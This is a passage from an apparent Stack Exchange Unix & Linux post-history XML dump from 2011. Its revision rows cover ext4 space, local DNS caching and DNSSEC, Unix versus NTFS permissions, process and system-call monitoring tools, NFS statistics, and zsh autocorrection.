disk.&#xD;&#xA;&#xD;&#xA;    fdisk -l /dev/sdb:&#xD;&#xA;&#xD;&#xA;    WARNING: GPT (GUID Partition Table) detected on '/dev/sdb'! The util fdisk doesn't support GPT. Use GNU Parted.&#xD;&#xA;&#xD;&#xA;    Disk /dev/sdb: 1500.3 GB, 1500301910016 bytes&#xD;&#xA;    255 heads, 63 sectors/track, 182401 cylinders, total 2930277168 sectors&#xD;&#xA;    Units = sectors of 1 * 512 = 512 bytes&#xD;&#xA;    Sector size (logical/physical): 512 bytes / 512 bytes&#xD;&#xA;    I/O size (minimum/optimal): 512 bytes / 512 bytes&#xD;&#xA;    Disk identifier: 0x00000000&#xD;&#xA;       Device Boot      Start         End      Blocks   Id  System&#xD;&#xA;    /dev/sdb1               1  2930277167  1465138583+  ee  GPT&#xD;&#xA;&#xD;&#xA;And thus e. g. resize2fs reports that there's &quot;Nothing to do!&quot;&#xD;&#xA;&#xD;&#xA;    dumpe2fs -h /dev/sdb1:&#xD;&#xA;    dumpe2fs 1.41.14 (22-Dec-2010)&#xD;&#xA;    Filesystem volume name:   &lt;none&gt;&#xD;&#xA;    Last mounted on:          &lt;not available&gt;&#xD;&#xA;    Filesystem UUID:          d6fc8971-89bd-4c03-a7cd-abdb945d2173&#xD;&#xA;    Filesystem magic number:  0xEF53&#xD;&#xA;    Filesystem revision #:    1 (dynamic)&#xD;&#xA;    Filesystem features:      ext_attr resize_inode dir_index filetype extent flex_bg sparse_super large_file huge_file uninit_bg dir_nlink extra_isize&#xD;&#xA;    Filesystem flags:         signed_directory_hash &#xD;&#xA;    Default mount options:    (none)&#xD;&#xA;    Filesystem state:         clean&#xD;&#xA;    Errors behavior:          Continue&#xD;&#xA;    Filesystem OS type:       Linux&#xD;&#xA;    Inode count:              91578368&#xD;&#xA;    Block count:              366284288&#xD;&#xA;    Reserved block count:     0&#xD;&#xA;    Free blocks:              360518801&#xD;&#xA;    Free inodes:              91578357&#xD;&#xA;    First block:              0&#xD;&#xA;    Block size:               4096&#xD;&#xA;    Fragment size:            4096&#xD;&#xA;    Reserved GDT blocks:      936&#xD;&#xA;    Blocks per group:         32768&#xD;&#xA;    Fragments per group:      32768&#xD;&#xA;    Inodes per group:         8192&#xD;&#xA;    Inode blocks per group:   512&#xD;&#xA;    Flex block group size:    16&#xD;&#xA;    Filesystem created:       Sat May 21 17:12:04 2011&#xD;&#xA;    Last mount time:          Sat May 21 17:15:30 2011&#xD;&#xA;    Last write time:          Sat May 21 17:24:32 2011&#xD;&#xA;    Mount count:              1&#xD;&#xA;    Maximum mount count:      32&#xD;&#xA;    Last checked:             Sat May 21 17:12:04 2011&#xD;&#xA;    Check interval:           15552000 (6 months)&#xD;&#xA;    Next check after:         Thu Nov 17 16:12:04 2011&#xD;&#xA;    Lifetime writes:          1372 MB&#xD;&#xA;    Reserved blocks uid:      0 (user root)&#xD;&#xA;    Reserved blocks gid:      0 (group root)&#xD;&#xA;    First inode:              11&#xD;&#xA;    Inode size:	          256&#xD;&#xA;    Required extra isize:     28&#xD;&#xA;    Desired extra isize:      28&#xD;&#xA;    Default directory hash:   half_md4&#xD;&#xA;    Directory Hash Seed:      c334e6ef-b060-45d2-b65d-4ac94167cb09&#xD;&#xA;    Journal backup:           inode blocks&#xD;&#xA;&#xD;&#xA;What is using that missing space?&#xD;&#xA;" />
  <row Id="33747" PostHistoryTypeId="4" PostId="13547" RevisionGUID="182879f5-6c71-4b49-a41a-d295829dce60" CreationDate="2011-05-21T19:17:36.740" UserId="885" Comment="better title; toned town aggressivity" Text="ext4: How to account for the filesystem space?" />
  <row Id="33748" PostHistoryTypeId="6" PostId="13547" RevisionGUID="182879f5-6c71-4b49-a41a-d295829dce60" CreationDate="2011-05-21T19:17:36.740" UserId="885" Comment="better title; toned town aggressivity" Text="éfilesystemsàédisköusageàéext4à" />
  <row Id="33749" PostHistoryTypeId="6" PostId="13516" RevisionGUID="5b8ed164-5755-4063-814e-6f6cb6e5f24b" CreationDate="2011-05-21T19:19:09.393" UserId="885" Comment="edited tags" Text="éubuntuàékdeàéaptàésoftwareöinstallationà" />
  <row Id="33750" PostHistoryTypeId="2" PostId="13553" RevisionGUID="b229a808-d583-4746-9328-7d3d9740f7a9" CreationDate="2011-05-21T19:42:37.587" UserId="6960" Text="Dear community! :)&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;I'm using Fedora for desktop use and I&#xD;&#xA;&#xD;&#xA;	yum -y install caching-nameserver&#xD;&#xA;	service named restart&#xD;&#xA;	chkconfig --level 5 named on&#xD;&#xA;&#xD;&#xA;on it, and set the nameserver to 127.0.0.1. If I&lt;br&gt;&#xD;&#xA;&#xD;&#xA;	dig google.com | grep SERVER&#xD;&#xA;	;; SERVER: 127.0.0.1#53(127.0.0.1)&#xD;&#xA;&#xD;&#xA;Then I can see it's ok, I'm using my previously installed local DNS cache server! Hurrah! (no more crappy DNS from my ISP..)&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;Then I tried tcpdump:&#xD;&#xA;&#xD;&#xA;	tcpdump -n -i eth0 dst port 53&#xD;&#xA;&#xD;&#xA;All I can see that my Local DNS server doesn't use my ISP's DNS server for resolving, rather it uses the root servers (IP address) DNS server to resolve my domain names (the ones I type in my webbrowser).&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;Question#1: Does my local DNS caching server really &lt;b&gt;only uses just&lt;/b&gt; the root servers DNS server for resolving?&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;Question#2: If using &lt;a href=&quot;https://secure.wikimedia.org/wikipedia/en/wiki/Domain_Name_System_Security_Extensions&quot;&gt;DNSSEC&lt;/a&gt; gives me more security regarding DNS, then how could I set my pc/local dns cache to only use and only allow DNSSEC? I think DNSSEC is deployed years (?) ago on the root DNS servers.&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;Thank you." />
  <row Id="33751" PostHistoryTypeId="1" PostId="13553" RevisionGUID="b229a808-d583-4746-9328-7d3d9740f7a9" CreationDate="2011-05-21T19:42:37.587" UserId="6960" Text="DNSSEC in the root zone? How to use it?" />
  <row Id="33752" PostHistoryTypeId="3" PostId="13553" RevisionGUID="b229a808-d583-4746-9328-7d3d9740f7a9" CreationDate="2011-05-21T19:42:37.587" UserId="6960" Text="élinuxàésecurityàédnsà" />
  <row Id="33753" PostHistoryTypeId="2" PostId="13554" RevisionGUID="e811de3c-dc83-46e4-91ac-6cde8781b908" CreationDate="2011-05-21T19:53:37.310" UserId="1049" Text="Related question: [How does the Linux file system/organization differ from Windows?](http://unix.stackexchange.com/questions/9494/how-does-the-linux-file-system-organization-differ-from-windows)&#xD;&#xA;&#xD;&#xA;I am somewhat familiar with how privileges work when it comes to files and directories - each entry has an `owner` and `group` property that represent the owner of the file and the group that the owner belongs to (correct me if I'm wrong).&#xD;&#xA;&#xD;&#xA;How does this differ from the organization of permissions in the NTFS filesystem on Windows? What advantages does Unix's permission system have over NTFS?" />
  <row Id="33754" PostHistoryTypeId="1" PostId="13554" RevisionGUID="e811de3c-dc83-46e4-91ac-6cde8781b908" CreationDate="2011-05-21T19:53:37.310" UserId="1049" Text="How does the Unix file privilege system differ from that of Windows?" />
  <row Id="33755" PostHistoryTypeId="3" PostId="13554" RevisionGUID="e811de3c-dc83-46e4-91ac-6cde8781b908" CreationDate="2011-05-21T19:53:37.310" UserId="1049" Text="épermissionsàéntfsàécomparisonà" />
  <row Id="33756" PostHistoryTypeId="2" PostId="13555" RevisionGUID="25429b72-168a-46c0-9094-6793d4507aa7" CreationDate="2011-05-21T20:06:45.623" UserId="6252" Text="Is there a Unix/Linux equivalent of [Process Monitor](http://technet.microsoft.com/en-us/sysinternals/bb896645), whether GUI or CUI?&#xD;&#xA;&#xD;&#xA;If it makes a difference, I'm looking at Ubuntu, but if there's an equivalent for other systems (Mac, other Linux variants like Fedora, etc.) then knowing any of those would be useful too." />
  <row Id="33757" PostHistoryTypeId="1" PostId="13555" RevisionGUID="25429b72-168a-46c0-9094-6793d4507aa7" CreationDate="2011-05-21T20:06:45.623" UserId="6252" Text="Process Monitor equivalent for Linux?" />
  <row Id="33758" PostHistoryTypeId="3" PostId="13555" RevisionGUID="25429b72-168a-46c0-9094-6793d4507aa7" CreationDate="2011-05-21T20:06:45.623" UserId="6252" Text="éprocessàémonitoringà" />
  <row Id="33759" PostHistoryTypeId="2" PostId="13556" RevisionGUID="23ef1d3b-b70a-43cf-966b-592ff23d1b08" CreationDate="2011-05-21T20:10:24.970" UserId="3082" Text="You should configure `forwarders` in you local server to point to your ISP servers. You could also set `forward-only`. &#xD;&#xA;&#xD;&#xA;Not sure about #2." />
  <row Id="33760" PostHistoryTypeId="2" PostId="13557" RevisionGUID="78818edd-0b83-4ba6-9f38-c31e0ad7c890" CreationDate="2011-05-21T20:12:02.997" UserId="2847" Text="(net-fs/nfs-utils-1.2.3-r1, 2.6.38.5-zen+ Gentoo)&#xD;&#xA;&#xD;&#xA;Googling this seems to be a complete dead end. [man nfsstat][1] says a whole lot of nothing about the subject. The closest I could get was finding out about what was probably previously &quot;[newcreds][2]&quot;.&#xD;&#xA;&#xD;&#xA;&gt; newcreds&#xD;&#xA;&gt;     Number of times authentication information had to be refreshed.&#xD;&#xA;&#xD;&#xA;My problem is that I *think* I'm seeing subpar NFS performance and the only thing I can immediately see that is significantly different than all nfsstat Google results, is that my &quot;calls&quot; field equals exactly &quot;authrefrsh&quot; and is therefore very high. All the search result outputs always had authrefrsh as 0 or a very low number. Before I can move on to debugging some other aspects, I could use finding out what this means.&#xD;&#xA;&#xD;&#xA;Watched operation is emerging a package over NFS-shared portage. emerge does traverse a big tree during it's operation but previous experience says the performance I'm seeing is abnormal.&#xD;&#xA;&#xD;&#xA;    $ watch -n 1 nfsstat -c&#xD;&#xA;    &#xD;&#xA;    Every 1,0s: nfsstat -c                                Sat May 21 23:04:55 2011&#xD;&#xA;    &#xD;&#xA;    Client rpc stats:&#xD;&#xA;    calls      retrans    authrefrsh&#xD;&#xA;    308565     2211       308565&#xD;&#xA;    &#xD;&#xA;    Client nfs v3:&#xD;&#xA;    null         getattr      setattr      lookup       access       readlink&#xD;&#xA;    0         0% 172372   55% 17        0% 30485     9% 36057    11% 26831     8%&#xD;&#xA;    read         write        create       mkdir        symlink      mknod&#xD;&#xA;    25879     8% 107       0% 21        0% 0         0% 0         0% 0         0%&#xD;&#xA;    remove       rmdir        rename       link         readdir      readdirplus&#xD;&#xA;    16        0% 0         0% 11        0% 0         0% 0         0% 16668     5%&#xD;&#xA;    fsstat       fsinfo       pathconf     commit&#xD;&#xA;    3         0% 50        0% 25        0% 2         0%&#xD;&#xA;&#xD;&#xA;I can't figure out exactly what authrefrsh is (and this spelling, is that intentional btw?) and why is it increasing like this in my case?&#xD;&#xA;&#xD;&#xA;  [1]: http://linux.die.net/man/8/nfsstat&#xD;&#xA;  [2]: http://publib.boulder.ibm.com/infocenter/pseries/v5r3/index.jsp?topic=/com.ibm.aix.prftungd/doc/prftungd/nfsstat_c_command.htm" />
  <row Id="33761" PostHistoryTypeId="1" PostId="13557" RevisionGUID="78818edd-0b83-4ba6-9f38-c31e0ad7c890" CreationDate="2011-05-21T20:12:02.997" UserId="2847" Text="Slow NFS, nfsstat -c: what is authrefrsh (aka newcreds?) field about in detail?" />
  <row Id="33762" PostHistoryTypeId="3" PostId="13557" RevisionGUID="78818edd-0b83-4ba6-9f38-c31e0ad7c890" CreationDate="2011-05-21T20:12:02.997" UserId="2847" Text="égentooàénfsà" />
  <row Id="33763" PostHistoryTypeId="2" PostId="13558" RevisionGUID="9b86500d-5330-415d-a330-009bd45730cc" CreationDate="2011-05-21T20:15:19.340" UserId="3082" Text="I've not used that Process Monitor, but as far as I can tell it's the same as `gnome-system-monitor` on a Gnome system. If you use KDE they probably have something similar." />
  <row Id="33764" PostHistoryTypeId="2" PostId="13559" RevisionGUID="6e36d46a-56f9-423f-aef0-949a63aa3119" CreationDate="2011-05-21T20:20:49.877" UserId="1925" Text="The console standby for this is `top`, but there are alternatives like my favorite `htop` that give you a little more display flexibility and allow you a few more operations on the processes.&#xD;&#xA;&#xD;&#xA;A less interactive view that is better for use in scripts would be the `ps` program and all it's relatives." />
  <row Id="33765" PostHistoryTypeId="2" PostId="13560" RevisionGUID="3a653484-f183-4ad6-bf97-92b14ee0f1b7" CreationDate="2011-05-21T20:21:05.303" UserId="3389" Text="NTFS has Windows ACEs.  Unix uses &quot;mode bits&quot; on each file.&#xD;&#xA;&#xD;&#xA;On NTFS, each file can have an owner, and zero or more Windows access control entries (ACEs).  An ACE consists of a principal (users and groups are principals), a set of operations (Read, Write, Execute, etc.) and whether those operations are allowed or denied.  Files can have many ACEs.  Other objects in Windows other than files can have ACEs as well, such as registry entries, printer objects, and other things.  All ACEs are taken into account when a file operation occurs.  Deny takes precedence over allow.  &#xD;&#xA;&#xD;&#xA;Windows ACEs support inheritance where you can set an ACE for a directory and have it automatically propagate to lower level directories.&#xD;&#xA;&#xD;&#xA;Files in Unix have an owning user (owner) and an owning group (owner-group).  There are three fixed &quot;principals&quot; which are owner, members of the owning group, and everyone else (a.k.a world).  For each principal there are three &quot;bits&quot; which cover read, write, and execute abilities. (these have different meanings for directories than files, see [this][1]).  These bits determine who can perform what operations. This is called the file's mode and is built into the file (there are no separate ACEs).&#xD;&#xA;&#xD;&#xA;Most of the time you are concerned with the &quot;world&quot; permissions, i.e. setting all three bits to 0 for &quot;world&quot; means no one who isn't the owner or group-owner can do anything with the file.  Unix permissions only work on the filesystem, but since most objects appear as files you can use permissions to restrict access to disks, printers, etc.  Unix permissions are simpler but more &quot;coarse.&quot;  Unix permissions do not support inheritance and will not affect lower level directories, with the exception of execute permission for directories (I think) which causes newly created files to assume permissions of the directory (but doesn't affect currently created files).&#xD;&#xA;&#xD;&#xA;Traditionally Unix files have a single owner and a single owner-group.  There are extensions to Linux that add ACEs to files in similar fashion to Windows.&#xD;&#xA;&#xD;&#xA;Unix's advantage is only that a simpler system is usually easier to understand and secure, and speed since the filesystem doesn't have to fetch ACEs in addition to inodes when opening files.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.albany.edu/faculty/gms/homepage101/unix_permissions.html" />
  <row Id="33766" PostHistoryTypeId="5" PostId="13553" RevisionGUID="de769488-383f-44e9-82e5-5314801e142d" CreationDate="2011-05-21T20:33:47.013" UserId="6960" Comment="added 251 characters in body; edited body" Text="Dear community! :)&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;I'm using Fedora for desktop use and I&#xD;&#xA;&#xD;&#xA;	yum -y install caching-nameserver&#xD;&#xA;	service named restart&#xD;&#xA;	chkconfig --level 5 named on&#xD;&#xA;&#xD;&#xA;on it, and set the nameserver to 127.0.0.1. If I&lt;br&gt;&#xD;&#xA;&#xD;&#xA;	dig google.com | grep SERVER&#xD;&#xA;	;; SERVER: 127.0.0.1#53(127.0.0.1)&#xD;&#xA;&#xD;&#xA;Then I can see it's ok, I'm using my previously installed local DNS cache server! Hurrah! (no more crappy DNS from my ISP..)&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;Then I tried tcpdump:&#xD;&#xA;&#xD;&#xA;	tcpdump -n -i eth0 dst port 53&#xD;&#xA;&#xD;&#xA;All I can see that my Local DNS server doesn't use my ISP's DNS server for resolving, rather it uses the root servers (IP address) DNS server to resolve my domain names (the ones I type in my webbrowser).&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;Question#1: Does my local DNS caching server really &lt;b&gt;only uses just&lt;/b&gt; the root servers DNS server for resolving?&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;Question#2: If using &lt;a href=&quot;https://secure.wikimedia.org/wikipedia/en/wiki/Domain_Name_System_Security_Extensions&quot;&gt;DNSSEC&lt;/a&gt; gives me more security regarding DNS, then how could I set my pc/local dns cache to only use and only allow DNSSEC? I think DNSSEC is deployed years (?) ago on the root DNS servers.&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;Thank you.&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;UPDATE&lt;BR&gt;&#xD;&#xA;p.s.: or I had misunderstood something, and to use only DNSSEC I would need that: all the NS's of the domains that I'm visiting must be configured to use DNSSEC - and that's not very widely used, so I can't use only DNSSEC :( ." />
  <row Id="33767" PostHistoryTypeId="5" PostId="13555" RevisionGUID="081c8052-e2f0-4187-843f-1c3271cb5453" CreationDate="2011-05-21T20:35:51.480" UserId="6252" Comment="added 236 characters in body" Text="Is there a Unix/Linux equivalent of [Process Monitor](http://technet.microsoft.com/en-us/sysinternals/bb896645), whether GUI or CUI?&#xD;&#xA;&#xD;&#xA;If it makes a difference, I'm looking at Ubuntu, but if there's an equivalent for other systems (Mac, other Linux variants like Fedora, etc.) then knowing any of those would be useful too.&#xD;&#xA;&#xD;&#xA;###Edit:&#xD;&#xA;&#xD;&#xA;Process *Monitor* is for monitoring system calls (such as file creation or writes), while Process *Explorer* is for monitoring process status (which is like System Monitor). I'm asking for the former, not the latter. :-)" />
  <row Id="33768" PostHistoryTypeId="2" PostId="13561" RevisionGUID="306e4dd6-5f0e-483d-92bc-c38fb4a451dd" CreationDate="2011-05-21T20:37:50.817" UserId="885" Text="The grandaddy of them all is [`top`](http://en.wikipedia.org/wiki/Top_%28Unix%29), to see process information continuously refreshed in a terminal. And the `ps` command shows once-off information and has a ton of options. Still in a terminal, [`htop`](http://htop.sourceforge.net/) is a more modern version of `top`, with colors, a simpler configuration interface than `top`, and the possibility to kill processes.&#xD;&#xA;&#xD;&#xA;Then you have plenty of graphical process viewers and system monitors. If you want a highly configurable one, try [conky](http://conky.sourceforge.net/). If you care more about GUI blending, your desktop environment probably has one under a fairly transparent name. If you want to see the available choices, search for `system monitor` or `process viewer` in the package database.&#xD;&#xA;&#xD;&#xA;(All the programs mentioned in this answer are packaged for Ubuntu under an obvious name, and this goes for most other distributions as well.)&#xD;&#xA;" />
  <row Id="33769" PostHistoryTypeId="6" PostId="13555" RevisionGUID="79666b13-f3d4-49c0-a06d-734dd5a60c49" CreationDate="2011-05-21T20:38:05.187" UserId="885" Comment="edited tags" Text="éprocessàésoftwareörecàémonitoringà" />
  <row Id="33770" PostHistoryTypeId="5" PostId="13559" RevisionGUID="ac8be697-d0a3-4f0a-a8a7-db16bd2f4e3d" CreationDate="2011-05-21T20:51:50.537" UserId="1925" Comment="added 247 characters in body; added 107 characters in body" Text="The console standby for this is `top`, but there are alternatives like my favorite `htop` that give you a little more display flexibility and allow you a few more operations on the processes.&#xD;&#xA;&#xD;&#xA;A less interactive view that is better for use in scripts would be the `ps` program and all it's relatives.&#xD;&#xA;&#xD;&#xA;**Edit:** Based on your clarified question, you might note that `strace` handles watching system calls made by a given process including all read-write operations and os function calls. You can activate it on the command line before the program you want to track or attach to a running process by hitting &lt;kbd&gt;s&lt;/kbd&gt; on a process selected in `htop`." />
  <row Id="33771" PostHistoryTypeId="2" PostId="13562" RevisionGUID="3a5ae588-e2a0-4bb1-9033-74307bacfc8f" CreationDate="2011-05-21T20:53:37.737" UserId="7657" Text="You may want to take a look at `lsof` and `strace`.  Sysinternal's Process Monitor is actually Filemon and Regmon combined with a some additional enhancements. The `top` command is more like Process Explorer. " />
  <row Id="33772" PostHistoryTypeId="5" PostId="13561" RevisionGUID="0510093d-0aca-4717-b571-ecdfca70b37c" CreationDate="2011-05-21T21:05:14.393" UserId="885" Comment="rewrote after question clarification" Text="The grandaddy of all process monitors is [`top`](http://en.wikipedia.org/wiki/Top_%28Unix%29), and many system monitoring tools are called `top`. For example, there's [`iotop`](http://guichaz.free.fr/iotop/) to watch disk I/O, [`atop`](http://www.atoptool.nl/) for a bunch of system resources, [`powertop`](http://www.linuxpowertop.org/) for power consumption.&#xD;&#xA;&#xD;&#xA;If you want more detailed information, it's not tracked by default. To watch what a **particular process** is doing, call [`strace`](http://en.wikipedia.org/wiki/Strace) on it. For example, if you're only interested in filesystem accesses:&#xD;&#xA;&#xD;&#xA;    strace -s9999 -efile command_name    # trace a program during its whole execution&#xD;&#xA;    strace -s9999 -efile -p1234          # trace a running program with the given PID&#xD;&#xA;&#xD;&#xA;`strace` is specific to Linux, but other systems have a similar tool: `truss` on Solaris, `ktrace` or `dtrace` under *BSD, etc.&#xD;&#xA;&#xD;&#xA;To watch what's happening to a **particular file** or in a particular directory or directory tree, use the [inotify facility](http://en.wikipedia.org/wiki/Inotify).&#xD;&#xA;&#xD;&#xA;    inotifywait -m .&#xD;&#xA;&#xD;&#xA;Again, the facility is specific to Linux, but most other unices have a similar system, e.g. [kqueue](http://en.wikipedia.org/wiki/Kqueue) under *BSD, and [FAM](http://en.wikipedia.org/wiki/File_Alteration_Monitor) (originally from SGI but now available as an API on many systems).&#xD;&#xA;&#xD;&#xA;To watch all the **system calls** under Linux, you can use the [audit subsystem](http://people.redhat.com/sgrubb/audit/). It's relatively recent and there's not much literature on the topic; search for `auditctl` or read the [`auditctl` man page](http://manpages.ubuntu.com/manpages/lucid/man8/auditctl.8.html). There are a couple of examples on this site: [tracking file accesses](http://unix.stackexchange.com/questions/12390/tracking-huge-buffer-usage-under-linux/12398#12398), [tracking process execution](http://unix.stackexchange.com/questions/13017/log-every-invocation-of-every-suid-program/13024#13024).&#xD;&#xA;" />
  <row Id="33773" PostHistoryTypeId="25" PostId="13555" RevisionGUID="93a01707-1375-4b7f-b17e-c56fece3d970" CreationDate="2011-05-21T21:12:30.737" Comment="http://twitter.com/#!/StackUnix/status/72047136874835969" />
  <row Id="33774" PostHistoryTypeId="5" PostId="13557" RevisionGUID="cd63c869-707c-4a20-9f9d-6c5cb0851fe5" CreationDate="2011-05-21T21:16:32.917" UserId="2847" Comment="add openvpn info" Text="(net-fs/nfs-utils-1.2.3-r1, 2.6.38.5-zen+ Gentoo)&#xD;&#xA;&#xD;&#xA;Googling this seems to be a complete dead end. [man nfsstat][1] says a whole lot of nothing about the subject. The closest I could get was finding out about what was probably previously &quot;[newcreds][2]&quot;.&#xD;&#xA;&#xD;&#xA;&gt; newcreds&#xD;&#xA;&gt;     Number of times authentication information had to be refreshed.&#xD;&#xA;&#xD;&#xA;My problem is that I *think* I'm seeing subpar NFS performance over OpenVPN and the only thing I can immediately see that is significantly different than all nfsstat Google results, is that my &quot;calls&quot; field equals exactly &quot;authrefrsh&quot; and is therefore very high. All the search result outputs always had authrefrsh as 0 or a very low number. Before I can move on to debugging some other aspects, I could use finding out what this means.&#xD;&#xA;&#xD;&#xA;Watched operation is emerging a package over NFS-shared portage. emerge does traverse a big tree during it's operation but previous experience says the performance I'm seeing is abnormal.&#xD;&#xA;&#xD;&#xA;    $ watch -n 1 nfsstat -c&#xD;&#xA;    &#xD;&#xA;    Every 1,0s: nfsstat -c                                Sat May 21 23:04:55 2011&#xD;&#xA;    &#xD;&#xA;    Client rpc stats:&#xD;&#xA;    calls      retrans    authrefrsh&#xD;&#xA;    308565     2211       308565&#xD;&#xA;    &#xD;&#xA;    Client nfs v3:&#xD;&#xA;    null         getattr      setattr      lookup       access       readlink&#xD;&#xA;    0         0% 172372   55% 17        0% 30485     9% 36057    11% 26831     8%&#xD;&#xA;    read         write        create       mkdir        symlink      mknod&#xD;&#xA;    25879     8% 107       0% 21        0% 0         0% 0         0% 0         0%&#xD;&#xA;    remove       rmdir        rename       link         readdir      readdirplus&#xD;&#xA;    16        0% 0         0% 11        0% 0         0% 0         0% 16668     5%&#xD;&#xA;    fsstat       fsinfo       pathconf     commit&#xD;&#xA;    3         0% 50        0% 25        0% 2         0%&#xD;&#xA;&#xD;&#xA;I can't figure out exactly what authrefrsh is (and this spelling, is that intentional btw?) and why is it increasing like this in my case?&#xD;&#xA;&#xD;&#xA;  [1]: http://linux.die.net/man/8/nfsstat&#xD;&#xA;  [2]: http://publib.boulder.ibm.com/infocenter/pseries/v5r3/index.jsp?topic=/com.ibm.aix.prftungd/doc/prftungd/nfsstat_c_command.htm" />
  <row Id="33775" PostHistoryTypeId="6" PostId="13557" RevisionGUID="cd63c869-707c-4a20-9f9d-6c5cb0851fe5" CreationDate="2011-05-21T21:16:32.917" UserId="2847" Comment="add openvpn info" Text="égentooàénfsàéopenvpnà" />
  <row Id="33776" PostHistoryTypeId="17" PostId="13564" RevisionGUID="a73dacaa-d2f1-4a6e-afaf-051f78cd7089" CreationDate="2011-05-21T22:10:46.133" UserId="-1" Comment="from http://stackoverflow.com/questions/6043515/stop-zsh-from-trying-to-correct-command/6043629#6043629" Text="" />
  <row Id="33777" PostHistoryTypeId="17" PostId="13565" RevisionGUID="cf43ce30-80d0-4304-9b4a-8fbdeb821d1e" CreationDate="2011-05-21T22:10:46.133" UserId="-1" Comment="from http://stackoverflow.com/questions/6043515/stop-zsh-from-trying-to-correct-command/6050087#6050087" Text="" />
  <row Id="33778" PostHistoryTypeId="2" PostId="13564" RevisionGUID="e45743d9-ddf0-4904-ac0b-b2e049e76952" CreationDate="2011-05-18T11:02:33.233" UserId="1925" Text="You can add `setopt nocorrectall` to your `~/.zshrc` file to disable this behavior. It will still function for commands, but not for arguments." />
  <row Id="33779" PostHistoryTypeId="2" PostId="13565" RevisionGUID="2e61845a-7a15-4ca9-bd06-452bec267079" CreationDate="2011-05-18T19:34:56.953" UserDisplayName="ZyX" Text="If you don't want to disable corrections completely, you should define an alias:&#xD;&#xA;&#xD;&#xA;    alias knife='nocorrect knife'" />
  <row Id="33780" PostHistoryTypeId="2" PostId="13563" RevisionGUID="6381ed0c-20e9-4c86-abaf-8b9876ca155d" CreationDate="2011-05-18T10:52:31.327" UserDisplayName="Dave Newman" Text="    $ knife cookbook download recipe&#xD;&#xA;    zsh: correct 'cookbook' to 'cookbooks' [nyae]?&#xD;&#xA;&#xD;&#xA;How can I get zsh to stop trying to correct cookbook to cookbooks??&#xD;&#xA;&#xD;&#xA;cookbooks is a directory where I run the command so I understand why it's doing it, but cookbook is a valid part of the command line.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="33781" PostHistoryTypeId="1" PostId="13563" RevisionGUID="6381ed0c-20e9-4c86-abaf-8b9876ca155d" CreationDate="2011-05-18T10:52:31.327" UserDisplayName="Dave Newman" Text="Stop ZSH from trying to correct command" />
  <row Id="33782" PostHistoryTypeId="3" PostId="13563" RevisionGUID="6381ed0c-20e9-4c86-abaf-8b9876ca155d" CreationDate="2011-05-18T10:52:31.327" UserDisplayName="Dave Newman" Text="ézshà" />
  <row Id="33783" PostHistoryTypeId="17" PostId="13563" RevisionGUID="a507ecfe-2d2d-4bff-8688-749634a3581b" CreationDate="2011-05-21T22:10:46.133" UserId="-1" Comment="from http://stackoverflow.com/questions/6043515/stop-zsh-from-trying-to-correct-command" Text="" />
  <row Id="33784" PostHistoryTypeId="5" PostId="13536" RevisionGUID="81b2f0f1-d82a-412a-94c4-2e3536bf5620" CreationDate="2011-05-21T22:14:03.667" UserId="3818" Comment="deleted 2 characters in body" Text="Whenever I have a good reference system and a misbehaving one, I try to compare them with vimdiff. What I compare varies with the problem, e.g.&#xD;&#xA;&#xD;&#xA;1) When comparing servers at the package level, I create sorted lists of packages on each server, send the results to files and diff them, e.g.&#xD;&#xA;&#xD;&#xA;On server1:&#xD;&#xA;&#xD;&#xA;    dpkg --get-selections|sort &gt; server1_packages&#xD;&#xA;&#xD;&#xA;On server2:&#xD;&#xA;&#xD;&#xA;    dpkg --get-selections|sort &gt; server2_packages&#xD;&#xA;&#xD;&#xA;Copy both files to the same machine and diff (or vimdiff) them.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;2) Make a list of running services as in example 1&#xD;&#xA;&#xD;&#xA;    sysv-rc-conf --list|sort &gt; server1_services&#xD;&#xA;&#xD;&#xA;    sysv-rc-conf --list|sort &gt; server2_services&#xD;&#xA;&#xD;&#xA;...etc., and vimdiff those.&#xD;&#xA;&#xD;&#xA;3) If you are troubleshooting inconsistent configurations with Apache for example, make copies of the config files, and vimdiff those, etc.&#xD;&#xA;" />
  <row Id="33785" PostHistoryTypeId="2" PostId="13566" RevisionGUID="b7478a19-93cf-4587-80ba-8456321e43e9" CreationDate="2011-05-21T22:21:51.470" UserId="732" Text="One thing that's quite different is that &quot;executable&quot; is a permission under Linux/Unix, not based on the file's name or extension.&#xD;&#xA;&#xD;&#xA;This is an advantage over Windows, in that on Linux you can ensure something doesn't get executed by removing executable permissions.  No magic extensions matter at all. This is probably one reason why traditional file viruses got exactly nowhere on Unix and Linux." />
  <row Id="33786" PostHistoryTypeId="14" PostId="13545" RevisionGUID="22a2142b-02c2-4658-8e9b-bb627f7f409b" CreationDate="2011-05-21T22:25:35.540" UserId="-1" Text="[{&quot;Id&quot;:-1,&quot;DisplayName&quot;:&quot;Community&quot;}]" />
  <row Id="33787" PostHistoryTypeId="17" PostId="13545" RevisionGUID="fee7994a-42cf-41cf-aae0-26e0d62a9c9b" CreationDate="2011-05-21T22:25:35.523" UserId="73" Comment="to http://webmasters.stackexchange.com/questions/14194/directory-access-control-with-apache-do-i-need-to-use-a-specific-htaccess" Text="[{&quot;Id&quot;:73,&quot;DisplayName&quot;:&quot;Michael Mrozek&quot;}]" />
  <row Id="33788" PostHistoryTypeId="10" PostId="13545" RevisionGUID="76ec7314-3c9f-4b10-81a8-d8446db12be2" CreationDate="2011-05-21T22:25:35.493" UserId="73" CloseReasonId="2" Text="[{&quot;Id&quot;:73,&quot;DisplayName&quot;:&quot;Michael Mrozek&quot;}]" />
